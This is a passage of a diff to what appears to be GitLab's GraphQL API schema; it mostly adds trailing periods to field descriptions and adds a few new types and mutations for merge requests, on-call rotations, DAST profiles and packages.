+Identifier of Iteration. """ scalar IterationID @@ -13314,37 +14446,37 @@ scalar JSON type JiraImport { """ - Timestamp of when the Jira import was created + Timestamp of when the Jira import was created. """ createdAt: Time """ - Count of issues that failed to import + Count of issues that failed to import. """ failedToImportCount: Int! """ - Count of issues that were successfully imported + Count of issues that were successfully imported. """ importedIssuesCount: Int! """ - Project key for the imported Jira project + Project key for the imported Jira project. """ jiraProjectKey: String! """ - Timestamp of when the Jira import was scheduled + Timestamp of when the Jira import was scheduled. """ scheduledAt: Time """ - User that started the Jira import + User that started the Jira import. """ scheduledBy: User """ - Total count of issues that were attempted to import + Total count of issues that were attempted to import. """ totalIssueCount: Int! } @@ -13476,17 +14608,17 @@ type JiraImportUsersPayload { type JiraProject { """ - Key of the Jira project + Key of the Jira project. """ key: String! """ - Name of the Jira project + Name of the Jira project. """ name: String """ - ID of the Jira project + ID of the Jira project. """ projectId: Int! } @@ -13528,12 +14660,12 @@ type JiraProjectEdge { type JiraService implements Service { """ - Indicates if the service is active + Indicates if the service is active. """ active: Boolean """ - List of all Jira projects fetched through Jira REST API + List of all Jira projects fetched through Jira REST API. """ projects( """ @@ -13563,51 +14695,51 @@ type JiraService implements Service { ): JiraProjectConnection """ - Class name of the service + Class name of the service. """ type: String } type JiraUser { """ - ID of the matched GitLab user + ID of the matched GitLab user. """ gitlabId: Int """ - Name of the matched GitLab user + Name of the matched GitLab user. """ gitlabName: String """ - Username of the matched GitLab user + Username of the matched GitLab user. """ gitlabUsername: String """ - Account ID of the Jira user + Account ID of the Jira user. """ jiraAccountId: String! """ - Display name of the Jira user + Display name of the Jira user. """ jiraDisplayName: String! """ - Email of the Jira user, returned only for users with public emails + Email of the Jira user, returned only for users with public emails. """ jiraEmail: String } input JiraUsersMappingInputType { """ - Id of the GitLab user + Id of the GitLab user. """ gitlabId: Int """ - Jira account ID of the user + Jira account ID of the user. """ jiraAccountId: String! } @@ -13649,12 +14781,12 @@ scalar JsonString type Label { """ - Background color of the label + Background color of the label. """ color: String! """ - Description of the label (Markdown rendered as HTML for caching) + Description of the label (Markdown rendered as HTML for caching). """ description: String @@ -13664,17 +14796,17 @@ type Label { descriptionHtml: String """ - Label ID + Label ID. """ id: ID! """ - Text color of the label + Text color of the label. """ textColor: String! """ - Content of the label + Content of the label. """ title: String! } @@ -13684,7 +14816,7 @@ The connection type for Label. """ type LabelConnection { """ - Total count of collection + Total count of collection. """ count: Int! @@ -13718,7 +14850,7 @@ input LabelCreateInput { (e.g. #FFAABB) or one of the CSS color names in https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#Color_keywords. """ - color: String = "#428BCA" + color: String = "#6699cc" """ Description of the label. @@ -13726,12 +14858,12 @@ input LabelCreateInput { description: String """ - The group full path the resource is associated with. + Full path of the group with which the resource is associated. """ groupPath: ID """ - The project full path the resource is associated with. + Full path of the project with which the resource is associated. """ projectPath: ID @@ -13777,12 +14909,12 @@ type LabelEdge { } """ -Identifier of Label +Identifier of Label. """ scalar LabelID """ -Identifier of List +Identifier of List. """ scalar ListID @@ -13887,37 +15019,37 @@ enum MeasurementIdentifier { interface MemberInterface { """ - GitLab::Access level + GitLab::Access level. """ accessLevel: AccessLevel """ - Date and time the membership was created + Date and time the membership was created. """ createdAt: Time """ - User that authorized membership + User that authorized membership. """ createdBy: User """ - Date and time the membership expires + Date and time the membership expires. """ expiresAt: Time """ - ID of the member + ID of the member. """ id: ID! """ - Date and time the membership was last updated + Date and time the membership was last updated. """ updatedAt: Time """ - User that is associated with the member object + User that is associated with the member object. """ user: User! } @@ -13959,17 +15091,17 @@ type MemberInterfaceEdge { type MergeRequest implements CurrentUserTodos & Noteable { """ - Indicates if members of the target project can push to the fork + Indicates if members of the target project can push to the fork. """ allowCollaboration: Boolean """ - Number of approvals left + Number of approvals left. """ approvalsLeft: Int """ - Number of approvals required + Number of approvals required. """ approvalsRequired: Int @@ -13979,7 +15111,7 @@ type MergeRequest implements CurrentUserTodos & Noteable { approved: Boolean! """ - Users who approved the merge request + Users who approved the merge request. """ approvedBy( """ @@ -14004,7 +15136,7 @@ type MergeRequest implements CurrentUserTodos & Noteable { ): UserConnection """ - Assignees of the merge request + Assignees of the merge request. """ assignees( """ @@ -14029,32 +15161,32 @@ type MergeRequest implements CurrentUserTodos & Noteable { ): UserConnection """ - User who created this merge request + User who created this merge request. """ author: User """ - Indicates if auto merge is enabled for the merge request + Indicates if auto merge is enabled for the merge request. """ autoMergeEnabled: Boolean! """ - Selected auto merge strategy + Selected auto merge strategy. """ autoMergeStrategy: String """ - Array of available auto merge strategies + Array of available auto merge strategies. """ availableAutoMergeStrategies: [String!] """ - Number of commits in the merge request + Number of commits in the merge request. """ commitCount: Int """ - Merge request commits excluding merge commits + Merge request commits excluding merge commits. """ commitsWithoutMergeCommits( """ @@ -14079,17 +15211,17 @@ type MergeRequest implements CurrentUserTodos & Noteable { ): CommitConnection """ - Indicates if the merge request has conflicts + Indicates if the merge request has conflicts. """ conflicts: Boolean! """ - Timestamp of when the merge request was created + Timestamp of when the merge request was created. """ createdAt: Time! """ - Todos for the current user + To-do items for the current user. """ currentUserTodos( """ @@ -14113,28 +15245,28 @@ type MergeRequest implements CurrentUserTodos & Noteable { last: Int """ - State of the todos + State of the to-do items. """ state: TodoStateEnum ): TodoConnection! """ - Default merge commit message of the merge request + Default merge commit message of the merge request. """ defaultMergeCommitMessage: String """ - Default merge commit message of the merge request with description + Default merge commit message of the merge request with description. """ defaultMergeCommitMessageWithDescription: String """ - Default squash commit message of the merge request + Default squash commit message of the merge request. """ defaultSquashCommitMessage: String """ - Description of the merge request (Markdown rendered as HTML for caching) + Description of the merge request (Markdown rendered as HTML for caching). """ description: String @@ -14144,37 +15276,37 @@ type MergeRequest implements CurrentUserTodos & Noteable { descriptionHtml: String """ - Diff head SHA of the merge request + Diff head SHA of the merge request. """ diffHeadSha: String """ - References of the base SHA, the head SHA, and the start SHA for this merge request + References of the base SHA, the head SHA, and the start SHA for this merge request. """ diffRefs: DiffRefs """ - Details about which files were changed in this merge request + Details about which files were changed in this merge request. """ diffStats( """ - A specific file-path + A specific file-path. """ path: String ): [DiffStats!] """ - Summary of which files were changed in this merge request + Summary of which files were changed in this merge request. """ diffStatsSummary: DiffStatsSummary """ - Indicates if comments on the merge request are locked to members only + Indicates if comments on the merge request are locked to members only. """ discussionLocked: Boolean! """ - All discussions on this noteable + All discussions on this noteable. """ discussions( """ @@ -14199,42 +15331,47 @@ type MergeRequest implements CurrentUserTodos & Noteable { ): DiscussionConnection! """ - Number of downvotes for the merge request + Number of downvotes for the merge request. """ downvotes: Int! """ - Indicates if the project settings will lead to source branch deletion after merge + Indicates if the project settings will lead to source branch deletion after merge. """ forceRemoveSourceBranch: Boolean """ - Indicates if the merge request has CI + Indicates if the merge request has CI. """ hasCi: Boolean! """ - The pipeline running on the branch HEAD of the merge request + Indicates if the source branch has any security reports. + """ + hasSecurityReports: Boolean! + + """ + The pipeline running on the branch HEAD of the merge request. """ headPipeline: Pipeline """ - ID of the merge request + ID of the merge request. """ id: ID! """ - Internal ID of the merge request + Internal ID of the merge request. """ iid: String! """ - Commit SHA of the merge request if merge is in progress + Commit SHA of the merge request if merge is in progress. """ inProgressMergeCommitSha: String """ - Labels of the merge request + Labels of the merge request. """ labels( """ @@ -14259,61 +15396,62 @@ type MergeRequest implements CurrentUserTodos & Noteable { ): LabelConnection """ - SHA of the merge request commit (set once merged) + SHA of the merge request commit (set once merged). """ mergeCommitSha: String """ - Error message due to a merge error + Error message due to a merge error. """ mergeError: String """ - Indicates if a merge is currently occurring + Indicates if a merge is currently occurring. """ mergeOngoing: Boolean! """ - Status of the merge request + Status of the merge request. """ mergeStatus: String """ + Number of merge requests in the merge train. """ mergeTrainsCount: Int """ - User who merged this merge request + User who merged this merge request. """ mergeUser: User """ - Indicates if the merge has been set to be merged when its pipeline succeeds (MWPS) + Indicates if the merge has been set to be merged when its pipeline succeeds (MWPS). """ mergeWhenPipelineSucceeds: Boolean """ - Indicates if the merge request is mergeable + Indicates if the merge request is mergeable. """ mergeable: Boolean! """ - Indicates if all discussions in the merge request have been resolved, allowing the merge request to be merged + Indicates if all discussions in the merge request have been resolved, allowing the merge request to be merged. """ mergeableDiscussionsState: Boolean """ - Timestamp of when the merge request was merged, null if not merged + Timestamp of when the merge request was merged, null if not merged. """ mergedAt: Time """ - The milestone of the merge request + The milestone of the merge request. """ milestone: Milestone """ - All notes on this noteable + All notes on this noteable. """ notes( """ @@ -14404,31 +15542,31 @@ type MergeRequest implements CurrentUserTodos & Noteable { ): PipelineConnection """ - Alias for target_project + Alias for target_project. """ project: Project! """ - ID of the merge request project + ID of the merge request project. """ projectId: Int! """ - Rebase commit SHA of the merge request + Rebase commit SHA of the merge request. """ rebaseCommitSha: String """ - Indicates if there is a rebase currently in progress for the merge request + Indicates if there is a rebase currently in progress for the merge request. """ rebaseInProgress: Boolean! """ - Internal reference of the merge request. Returned in shortened format by default + Internal reference of the merge request. Returned in shortened format by default. """ reference( """ - Boolean option specifying whether the reference should be returned in full + Boolean option specifying whether the reference should be returned in full. """ full: Boolean = false ): String! @@ -14464,77 +15602,77 @@ type MergeRequest implements CurrentUserTodos & Noteable { securityAutoFix: Boolean """ - Indicates if the merge request will be rebased + Indicates if the merge request will be rebased. """ shouldBeRebased: Boolean! """ - Indicates if the source branch of the merge request will be deleted after merge + Indicates if the source branch of the merge request will be deleted after merge. """ shouldRemoveSourceBranch: Boolean """ - Source branch of the merge request + Source branch of the merge request. """ sourceBranch: String! """ - Indicates if the source branch of the merge request exists + Indicates if the source branch of the merge request exists. """ sourceBranchExists: Boolean! """ - Indicates if the source branch is protected + Indicates if the source branch is protected. """ sourceBranchProtected: Boolean! """ - Source project of the merge request + Source project of the merge request. """ sourceProject: Project """ - ID of the merge request source project + ID of the merge request source project. """ sourceProjectId: Int """ - Indicates if squash on merge is enabled + Indicates if squash on merge is enabled. """ squash: Boolean! """ - Indicates if squash on merge is enabled + Indicates if squash on merge is enabled. """ squashOnMerge: Boolean! """ - State of the merge request + State of the merge request. """ state: MergeRequestState! """ - Indicates if the currently logged in user is subscribed to this merge request + Indicates if the currently logged in user is subscribed to this merge request. """ subscribed: Boolean! """ - Target branch of the merge request + Target branch of the merge request. """ targetBranch: String! """ - Indicates if the target branch of the merge request exists + Indicates if the target branch of the merge request exists. """ targetBranchExists: Boolean! """ - Target project of the merge request + Target project of the merge request. """ targetProject: Project! """ - ID of the merge request target project + ID of the merge request target project. """ targetProjectId: Int! @@ -14544,12 +15682,12 @@ type MergeRequest implements CurrentUserTodos & Noteable { taskCompletionStatus: TaskCompletionStatus! """ - Time estimate of the merge request + Time estimate of the merge request. """ timeEstimate: Int! """ - Title of the merge request + Title of the merge request. """ title: String! @@ -14559,27 +15697,27 @@ type MergeRequest implements CurrentUserTodos & Noteable { titleHtml: String """ - Total time reported as spent on the merge request + Total time reported as spent on the merge request. """ totalTimeSpent: Int! """ - Timestamp of when the merge request was last updated + Timestamp of when the merge request was last updated. """ updatedAt: Time! """ - Number of upvotes for the merge request + Number of upvotes for the merge request. """ upvotes: Int! """ - Number of user discussions in the merge request + Number of user discussions in the merge request. """ userDiscussionsCount: Int """ - User notes count of the merge request + User notes count of the merge request. """ userNotesCount: Int @@ -14589,12 +15727,12 @@ type MergeRequest implements CurrentUserTodos & Noteable { userPermissions: MergeRequestPermissions! """ - Web URL of the merge request + Web URL of the merge request. """ webUrl: String """ - Indicates if the merge request is a work in progress (WIP) + Indicates if the merge request is a work in progress (WIP). """ workInProgress: Boolean! } @@ -14604,7 +15742,7 @@ The connection type for MergeRequest. """ type MergeRequestConnection { """ - Total count of collection + Total count of collection. """ count: Int! @@ -14624,7 +15762,7 @@ type MergeRequestConnection { pageInfo: PageInfo! """ - Total sum of time to merge, in seconds, for the collection of merge requests + Total sum of time to merge, in seconds, for the collection of merge requests. """ totalTimeToMerge: Float } @@ -14639,12 +15777,12 @@ input MergeRequestCreateInput { clientMutationId: String """ - Description of the merge request (Markdown rendered as HTML for caching) + Description of the merge request (Markdown rendered as HTML for caching). """ description: String """ - Labels of the merge request + Labels of the merge request. """ labels: [String!] @@ -14654,17 +15792,17 @@ input MergeRequestCreateInput { projectPath: ID! """ - Source branch of the merge request + Source branch of the merge request. """ sourceBranch: String! """ - Target branch of the merge request + Target branch of the merge request. """ targetBranch: String! """ - Title of the merge request + Title of the merge request. """ title: String! } @@ -14714,7 +15852,7 @@ type MergeRequestDiffRegistry { lastSyncedAt: Time """ - ID of the Merge Request diff + ID of the Merge Request diff. """ mergeRequestDiffId: ID! @@ -14785,11 +15923,26 @@ type MergeRequestEdge { } """ -Identifier of MergeRequest +Identifier of MergeRequest. """ scalar MergeRequestID """ +New state to apply to a merge request. +""" +enum MergeRequestNewState { + """ + Close the merge request if it is open. + """ + CLOSED + + """ + Open the merge request if it is closed. + """ + OPEN +} + +""" Check permissions for the current user on a merge request """ type MergeRequestPermissions { @@ -14840,6 +15993,51 @@ type MergeRequestPermissions { } """ +Autogenerated input type of MergeRequestReviewerRereview +""" +input MergeRequestReviewerRereviewInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + The IID of the merge request to mutate. + """ + iid: String! + + """ + The project the merge request to mutate is in. + """ + projectPath: ID! + + """ + The user ID for the user that has been requested for a new review. + """ + userId: UserID! +} + +""" +Autogenerated return type of MergeRequestReviewerRereview +""" +type MergeRequestReviewerRereviewPayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! + + """ + The merge request after mutation. + """ + mergeRequest: MergeRequest +} + +""" Autogenerated input type of MergeRequestSetAssignees """ input MergeRequestSetAssigneesInput { @@ -15211,6 +16409,10 @@ enum MergeRequestState { all closed locked + + """ + Merge Request has been merged + """ merged opened } @@ -15225,7 +16427,7 @@ input MergeRequestUpdateInput { clientMutationId: String """ - Description of the merge request (Markdown rendered as HTML for caching) + Description of the merge request (Markdown rendered as HTML for caching). """ description: String @@ -15240,12 +16442,17 @@ input MergeRequestUpdateInput { projectPath: ID! """ - Target branch of the merge request + The action to perform to change the state. + """ + state: MergeRequestNewState + + """ + Target branch of the merge request. """ targetBranch: String """ - Title of the merge request + Title of the merge request. """ title: String } @@ -15272,12 +16479,12 @@ type MergeRequestUpdatePayload { type Metadata { """ - Revision + Revision. """ revision: String! """ - Version + Version. """ version: String! } @@ -15287,34 +16494,34 @@ Represents a metric image upload """ type MetricImage { """ - File name of the metric image + File name of the metric image. """ fileName: String """ - File path of the metric image + File path of the metric image. """ filePath: String """ - ID of the metric upload + ID of the metric upload. """ id: ID! """ - Internal ID of the metric upload + Internal ID of the metric upload. """ iid: ID! """ - URL of the metric source + URL of the metric source. """ url: String! } type MetricsDashboard { """ - Annotations added to the dashboard + Annotations added to the dashboard. """ annotations( """ @@ -15349,39 +16556,39 @@ type MetricsDashboard { ): MetricsDashboardAnnotationConnection """ - Path to a file with the dashboard definition + Path to a file with the dashboard definition. """ path: String """ - Dashboard schema validation warnings + Dashboard schema validation warnings. """ schemaValidationWarnings: [String!] } type MetricsDashboardAnnotation { """ - Description of the annotation + Description of the annotation. """ description: String """ - Timestamp marking end of annotated time span + Timestamp marking end of annotated time span. """ endingAt: Time """ - ID of the annotation + ID of the annotation. """ id: ID! """ - ID of a dashboard panel to which the annotation should be scoped + ID of a dashboard panel to which the annotation should be scoped. """ panelId: String """ - Timestamp marking start of annotated time span + Timestamp marking start of annotated time span. """ startingAt: Time } @@ -15422,7 +16629,7 @@ type MetricsDashboardAnnotationEdge { } """ -Identifier of Metrics::Dashboard::Annotation +Identifier of Metrics::Dashboard::Annotation. """ scalar MetricsDashboardAnnotationID @@ -15431,72 +16638,72 @@ Represents a milestone """ type Milestone implements TimeboxReportInterface { """ - Timestamp of milestone creation + Timestamp of milestone creation. """ createdAt: Time! """ - Description of the milestone + Description of the milestone. """ description: String """ - Timestamp of the milestone due date + Timestamp of the milestone due date. """ dueDate: Time """ - Indicates if milestone is at group level + Indicates if milestone is at group level. """ groupMilestone: Boolean! """ - ID of the milestone + ID of the milestone. """ id: ID! """ - Indicates if milestone is at project level + Indicates if milestone is at project level. """ projectMilestone: Boolean! """ - Historically accurate report about the timebox + Historically accurate report about the timebox. """ report: TimeboxReport """ - Timestamp of the milestone start date + Timestamp of the milestone start date. """ startDate: Time """ - State of the milestone + State of the milestone. """ state: MilestoneStateEnum! """ - Milestone statistics + Milestone statistics. """ stats: MilestoneStats """ - Indicates if milestone is at subgroup level + Indicates if milestone is at subgroup level. """ subgroupMilestone: Boolean! """ - Title of the milestone + Title of the milestone. """ title: String! """ - Timestamp of last milestone update + Timestamp of last milestone update. """ updatedAt: Time! """ - Web path of the milestone + Web path of the milestone. """ webPath: String! } @@ -15537,12 +16744,22 @@ type MilestoneEdge { } """ -Identifier of Milestone +Identifier of Milestone. """ scalar MilestoneID +""" +Current state of milestone +""" enum MilestoneStateEnum { + """ + Milestone is currently active + """ active + + """ + Milestone is closed + """ closed } @@ -15551,12 +16768,12 @@ Contains statistics about a milestone """ type MilestoneStats { """ - Number of closed issues associated with the milestone + Number of closed issues associated with the milestone. """ closedIssuesCount: Int """ - Total number of issues associated with the milestone + Total number of issues associated with the milestone. """ totalIssuesCount: Int } @@ -15582,6 +16799,7 @@ type Mutation { adminSidekiqQueuesDeleteJobs(input: AdminSidekiqQueuesDeleteJobsInput!): AdminSidekiqQueuesDeleteJobsPayload alertSetAssignees(input: AlertSetAssigneesInput!): AlertSetAssigneesPayload alertTodoCreate(input: AlertTodoCreateInput!): AlertTodoCreatePayload + apiFuzzingCiConfigurationCreate(input: ApiFuzzingCiConfigurationCreateInput!): ApiFuzzingCiConfigurationCreatePayload awardEmojiAdd(input: AwardEmojiAddInput!): AwardEmojiAddPayload awardEmojiRemove(input: AwardEmojiRemoveInput!): AwardEmojiRemovePayload awardEmojiToggle(input: AwardEmojiToggleInput!): AwardEmojiTogglePayload @@ -15615,6 +16833,10 @@ type Mutation { createSnippet(input: CreateSnippetInput!): CreateSnippetPayload createTestCase(input: CreateTestCaseInput!): CreateTestCasePayload dastOnDemandScanCreate(input: DastOnDemandScanCreateInput!): DastOnDemandScanCreatePayload + dastProfileCreate(input: DastProfileCreateInput!): DastProfileCreatePayload + dastProfileDelete(input: DastProfileDeleteInput!): DastProfileDeletePayload + dastProfileRun(input: DastProfileRunInput!): DastProfileRunPayload + dastProfileUpdate(input: DastProfileUpdateInput!): DastProfileUpdatePayload dastScannerProfileCreate(input: DastScannerProfileCreateInput!): DastScannerProfileCreatePayload dastScannerProfileDelete(input: DastScannerProfileDeleteInput!): DastScannerProfileDeletePayload dastScannerProfileUpdate(input: DastScannerProfileUpdateInput!): DastScannerProfileUpdatePayload @@ -15623,6 +16845,7 @@ type Mutation { dastSiteProfileUpdate(input: DastSiteProfileUpdateInput!): DastSiteProfileUpdatePayload dastSiteTokenCreate(input: DastSiteTokenCreateInput!): DastSiteTokenCreatePayload dastSiteValidationCreate(input: DastSiteValidationCreateInput!): DastSiteValidationCreatePayload + dastSiteValidationRevoke(input: DastSiteValidationRevokeInput!): DastSiteValidationRevokePayload deleteAnnotation(input: DeleteAnnotationInput!): DeleteAnnotationPayload deleteDevopsAdoptionSegment(input: DeleteDevopsAdoptionSegmentInput!): DeleteDevopsAdoptionSegmentPayload designManagementDelete(input: DesignManagementDeleteInput!): DesignManagementDeletePayload @@ -15643,9 +16866,12 @@ type Mutation { dismissVulnerability(input: DismissVulnerabilityInput!): DismissVulnerabilityPayload @deprecated(reason: "Use vulnerabilityDismiss. Deprecated in 13.5.") environmentsCanaryIngressUpdate(input: EnvironmentsCanaryIngressUpdateInput!): EnvironmentsCanaryIngressUpdatePayload epicAddIssue(input: EpicAddIssueInput!): EpicAddIssuePayload + epicBoardCreate(input: EpicBoardCreateInput!): EpicBoardCreatePayload + epicBoardListCreate(input: EpicBoardListCreateInput!): EpicBoardListCreatePayload epicSetSubscription(input: EpicSetSubscriptionInput!): EpicSetSubscriptionPayload epicTreeReorder(input: EpicTreeReorderInput!): EpicTreeReorderPayload exportRequirements(input: ExportRequirementsInput!): ExportRequirementsPayload + gitlabSubscriptionActivate(input: GitlabSubscriptionActivateInput!): GitlabSubscriptionActivatePayload httpIntegrationCreate(input: HttpIntegrationCreateInput!): HttpIntegrationCreatePayload httpIntegrationDestroy(input: HttpIntegrationDestroyInput!): HttpIntegrationDestroyPayload httpIntegrationResetToken(input: HttpIntegrationResetTokenInput!): HttpIntegrationResetTokenPayload @@ -15666,6 +16892,7 @@ type Mutation { labelCreate(input: LabelCreateInput!): LabelCreatePayload markAsSpamSnippet(input: MarkAsSpamSnippetInput!): MarkAsSpamSnippetPayload mergeRequestCreate(input: MergeRequestCreateInput!): MergeRequestCreatePayload + mergeRequestReviewerRereview(input: MergeRequestReviewerRereviewInput!): MergeRequestReviewerRereviewPayload mergeRequestSetAssignees(input: MergeRequestSetAssigneesInput!): MergeRequestSetAssigneesPayload mergeRequestSetLabels(input: MergeRequestSetLabelsInput!): MergeRequestSetLabelsPayload mergeRequestSetLocked(input: MergeRequestSetLockedInput!): MergeRequestSetLockedPayload @@ -15679,6 +16906,7 @@ type Mutation { mergeRequestUpdate(input: MergeRequestUpdateInput!): MergeRequestUpdatePayload namespaceIncreaseStorageTemporarily(input: NamespaceIncreaseStorageTemporarilyInput!): NamespaceIncreaseStorageTemporarilyPayload oncallRotationCreate(input: OncallRotationCreateInput!): OncallRotationCreatePayload + oncallRotationDestroy(input: OncallRotationDestroyInput!): OncallRotationDestroyPayload oncallScheduleCreate(input: OncallScheduleCreateInput!): OncallScheduleCreatePayload oncallScheduleDestroy(input: OncallScheduleDestroyInput!): OncallScheduleDestroyPayload oncallScheduleUpdate(input: OncallScheduleUpdateInput!): OncallScheduleUpdatePayload @@ -15716,7 +16944,6 @@ type Mutation { updateBoardList(input: UpdateBoardListInput!): UpdateBoardListPayload updateComplianceFramework(input: UpdateComplianceFrameworkInput!): UpdateComplianceFrameworkPayload updateContainerExpirationPolicy(input: UpdateContainerExpirationPolicyInput!): UpdateContainerExpirationPolicyPayload - updateDevopsAdoptionSegment(input: UpdateDevopsAdoptionSegmentInput!): UpdateDevopsAdoptionSegmentPayload updateEpic(input: UpdateEpicInput!): UpdateEpicPayload """ @@ -15766,12 +16993,12 @@ enum MutationOperationMode { type Namespace { """ - Size limit for repositories in the namespace in bytes + Size limit for repositories in the namespace in bytes. """ actualRepositorySizeLimit: Float """ - Additional storage purchased for the root namespace in bytes + Additional storage purchased for the root namespace in bytes. """ additionalPurchasedStorageSize: Float @@ -15807,12 +17034,12 @@ type Namespace { ): ComplianceFrameworkConnection """ - Includes at least one project where the repository size exceeds the limit + Includes at least one project where the repository size exceeds the limit. """ containsLockedProjects: Boolean! """ - Description of the namespace + Description of the namespace. """ description: String @@ -15822,47 +17049,47 @@ type Namespace { descriptionHtml: String """ - Full name of the namespace + Full name of the namespace. """ fullName: String! """ - Full path of the namespace + Full path of the namespace. """ fullPath: ID! """ - ID of the namespace + ID of the namespace. """ id: ID! """ - Status of the temporary storage increase + Status of the temporary storage increase. """ isTemporaryStorageIncreaseEnabled: Boolean! """ - Indicates if Large File Storage (LFS) is enabled for namespace + Indicates if Large File Storage (LFS) is enabled for namespace. """ lfsEnabled: Boolean """ - Name of the namespace + Name of the namespace. """ name: String! """ - The package settings for the namespace + The package settings for the namespace. """ packageSettings: PackageSettings """ - Path of the namespace + Path of the namespace. """ path: String! """ - Projects within this namespace + Projects within this namespace. """ projects( """ @@ -15907,42 +17134,42 @@ type Namespace { ): ProjectConnection! """ - Number of projects in the root namespace where the repository size exceeds the limit + Number of projects in the root namespace where the repository size exceeds the limit. """ repositorySizeExcessProjectCount: Int! """ - Indicates if users can request access to namespace + Indicates if users can request access to namespace. """ requestAccessEnabled: Boolean """ - Aggregated storage statistics of the namespace. Only available for root namespaces + Aggregated storage statistics of the namespace. Only available for root namespaces. """ rootStorageStatistics: RootStorageStatistics """ - Total storage limit of the root namespace in bytes + Total storage limit of the root namespace in bytes. """ storageSizeLimit: Float """ - Date until the temporary storage increase is active + Date until the temporary storage increase is active. """ temporaryStorageIncreaseEndsOn: Time """ - Total repository size of all projects in the root namespace in bytes + Total repository size of all projects in the root namespace in bytes. """ totalRepositorySize: Float """ - Total excess repository size of all projects in the root namespace in bytes + Total excess repository size of all projects in the root namespace in bytes. """ totalRepositorySizeExcess: Float """ - Visibility of the namespace + Visibility of the namespace. """ visibility: String } @@ -15983,7 +17210,7 @@ type NamespaceEdge { } """ -Identifier of Namespace +Identifier of Namespace. """ scalar NamespaceID @@ -16039,59 +17266,59 @@ enum NamespaceProjectSort { input NegatedBoardIssueInput { """ - Filter by assignee username + Filter by assignee username. """ assigneeUsername: [String] """ - Filter by author username + Filter by author username. """ authorUsername: String """ - Filter by epic ID. Incompatible with epicWildcardId + Filter by epic ID. Incompatible with epicWildcardId. """ epicId: EpicID """ - Filter by iteration title + Filter by iteration title. """ iterationTitle: String """ - Filter by label name + Filter by label name. """ labelName: [String] """ - Filter by milestone title + Filter by milestone title. """ milestoneTitle: String """ - Filter by reaction emoji + Filter by reaction emoji. """ myReactionEmoji: String """ - Filter by release tag + Filter by release tag. """ releaseTag: String """ - Filter by weight + Filter by weight. """ weight: String } type Note implements ResolvableInterface { """ - User who wrote this note + User who wrote this note. """ author: User! """ - Content of the note + Content of the note. """ body: String! @@ -16101,72 +17328,72 @@ type Note implements ResolvableInterface { bodyHtml: String """ - Indicates if this note is confidential + Indicates if this note is confidential. """ confidential: Boolean """ - Timestamp of the note creation + Timestamp of the note creation. """ createdAt: Time! """ - The discussion this note is a part of + The discussion this note is a part of. """ discussion: Discussion """ - ID of the note + ID of the note. """ - id: ID! + id: NoteID! """ - The position of this note on a diff + The position of this note on a diff. """ position: DiffPosition """ - Project associated with the note + Project associated with the note. """ project: Project """ - Indicates if the object can be resolved + Indicates if the object can be resolved. """ resolvable: Boolean! """ - Indicates if the object is resolved + Indicates if the object is resolved. """ resolved: Boolean! """ - Timestamp of when the object was resolved + Timestamp of when the object was resolved. """ resolvedAt: Time """ - User who resolved the object + User who resolved the object. """ resolvedBy: User """ - Indicates whether this note was created by the system or by a user + Indicates whether this note was created by the system or by a user. """ system: Boolean! """ - Name of the icon corresponding to a system note + Name of the icon corresponding to a system note. """ systemNoteIconName: String """ - Timestamp of the note's last activity + Timestamp of the note's last activity. """ updatedAt: Time! """ - URL to view this Note in the Web UI + URL to view this Note in the Web UI. """ url: String @@ -16212,7 +17439,7 @@ type NoteEdge { } """ -Identifier of Note +Identifier of Note. """ scalar NoteID @@ -16250,7 +17477,7 @@ type NotePermissions { interface Noteable { """ - All discussions on this noteable + All discussions on this noteable. """ discussions( """ @@ -16275,7 +17502,7 @@ interface Noteable { ): DiscussionConnection! """ - All notes on this noteable + All notes on this noteable. """ notes( """ @@ -16301,7 +17528,7 @@ interface Noteable { } """ -Identifier of Noteable +Identifier of Noteable. """ scalar NoteableID @@ -16441,6 +17668,51 @@ input OncallRotationDateInputType { } """ +Autogenerated input type of OncallRotationDestroy +""" +input OncallRotationDestroyInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + The ID of the on-call rotation to remove. + """ + id: IncidentManagementOncallRotationID! + + """ + The project to remove the on-call schedule from. + """ + projectPath: ID! + + """ + The IID of the on-call schedule to the on-call rotation belongs to. + """ + scheduleIid: String! +} + +""" +Autogenerated return type of OncallRotationDestroy +""" +type OncallRotationDestroyPayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! + + """ + The on-call rotation. + """ + oncallRotation: IncidentManagementOncallRotation +} + +""" The rotation length of the on-call rotation """ input OncallRotationLengthInputType { @@ -16645,142 +17917,27 @@ Represents a package in the Package Registry """ type Package { """ - The created date. + Date of creation. """ createdAt: Time! """ - The ID of the package. - """ - id: ID! - - """ - The name of the package. - """ - name: String! - - """ - The type of the package. - """ - packageType: PackageTypeEnum! - - """ - Pipelines that built the package. - """ - pipelines( - """ - Returns the elements in the list that come after the specified cursor. - """ - after: String - - """ - Returns the elements in the list that come before the specified cursor. - """ - before: String - - """ - Returns the first _n_ elements from the list. - """ - first: Int - - """ - Returns the last _n_ elements from the list. - """ - last: Int - ): PipelineConnection - - """ - Project where the package is stored. - """ - project: Project! - - """ - The package tags. - """ - tags( - """ - Returns the elements in the list that come after the specified cursor. - """ - after: String - - """ - Returns the elements in the list that come before the specified cursor. - """ - before: String - - """ - Returns the first _n_ elements from the list. - """ - first: Int - - """ - Returns the last _n_ elements from the list. - """ - last: Int - ): PackageTagConnection - - """ - The updated date. - """ - updatedAt: Time! - - """ - The version of the package. - """ - version: String - - """ - The other versions of the package. - """ - versions( - """ - Returns the elements in the list that come after the specified cursor. - """ - after: String - - """ - Returns the elements in the list that come before the specified cursor. - """ - before: String - - """ - Returns the first _n_ elements from the list. - """ - first: Int - - """ - Returns the last _n_ elements from the list. - """ - last: Int - ): PackageConnection -} - -""" -Details of a Composer package -""" -type PackageComposerDetails { - """ - The Composer metadatum. - """ - composerMetadatum: PackageComposerMetadatumType! - - """ - The created date. + ID of the package. """ - createdAt: Time! + id: PackagesPackageID! """ - The ID of the package. + Package metadata. """ - id: ID! + metadata: PackageMetadata """ - The name of the package. + Name of the package. """ name: String! """ - The type of the package. + Package type. """ packageType: PackageTypeEnum! @@ -16815,7 +17972,7 @@ type PackageComposerDetails { project: Project! """ - The package tags. + Package tags. """ tags( """ @@ -16840,12 +17997,12 @@ type PackageComposerDetails { ): PackageTagConnection """ - The updated date. + Date of most recent update. """ updatedAt: Time! """ - The version 